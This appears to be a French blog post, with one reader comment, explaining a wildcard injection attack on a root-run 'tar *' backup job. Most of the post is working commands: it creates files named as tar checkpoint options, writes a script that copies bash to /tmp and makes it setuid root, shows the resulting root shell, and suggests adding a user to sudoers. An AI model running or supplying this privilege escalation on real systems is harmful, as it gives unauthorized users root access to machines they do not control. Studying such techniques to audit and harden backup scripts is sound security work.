On vient de me passer l’url d’un petit papier qui détaille les risques des wildcards en shell. Encore une vilaine méthode pour élever ses privilèges que je ne connaissais pas.
Petit exemple concret… un backup est fait quotidiennement par root sur un répertoire.
tar -cf path/monbackup.tar *
Et bien si en tant que quidam on as l’accès en écriture dans ce répertoire, a nous le root. Il suffit de poser quelques fichiers bien sentis. Le wildcard va les déposer devant la commande tar, et ils seront interprétés comme des arguments. Checkpoint dans tar peut etre détourné afin de lancer le script de son choix.
Avant de vous laisser vous rendre dingue, petit help; Sachez que le paramètre «–» utilisé tout seul désactive la lecture des paramètres qui viennent après. on peut donc créér le tout avec :
$ touch -- '--checkpoint-action=exec=sh install_suidbackdoor.sh' '--checkpoint=1'
On se retrouve avec deux fichier étranges.
-rw-r--r-- 1 thanat0s thanat0s 0 Jun 26 06:31 --checkpoint=1 -rw-r--r-- 1 thanat0s thanat0s 0 Jun 26 06:31 --checkpoint-action=exec=sh install_suidbackdoor.sh
Reste à construire le 3eme fichier
$ echo "cp /bin/bash /tmp/sh" > install_suidbackdoor.sh $ echo "chmod 4755 /tmp/sh" >> install_suidbackdoor.sh
Quand tar sera exécuté, notre scrip install_suidbackdoor.sh aussi. Et la backdoor sera en place.
# tar cf /tmp/monbackup.tar * # ls /tmp/sh -l -rwsr-xr-x 1 root root 975488 Jun 26 09:59 /tmp/sh
Bon… C’est un exemple, en fonctions des OS (genre ubuntu/debian), ne venez pas vous plaindre, bash droppera généralement le setuid. Soyez inventifs, echo “quidam” dans sudoers ca passe aussi.
C’est d’une certaine violence, il existe des tricks à wildcards pour chmod, tar, rsync. On remercie léon de son Paper que je vous invite à lire.
http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt
très instructif !
je cherchais depuis au moins deux heures comment utiliser ces arguments !
merci ;)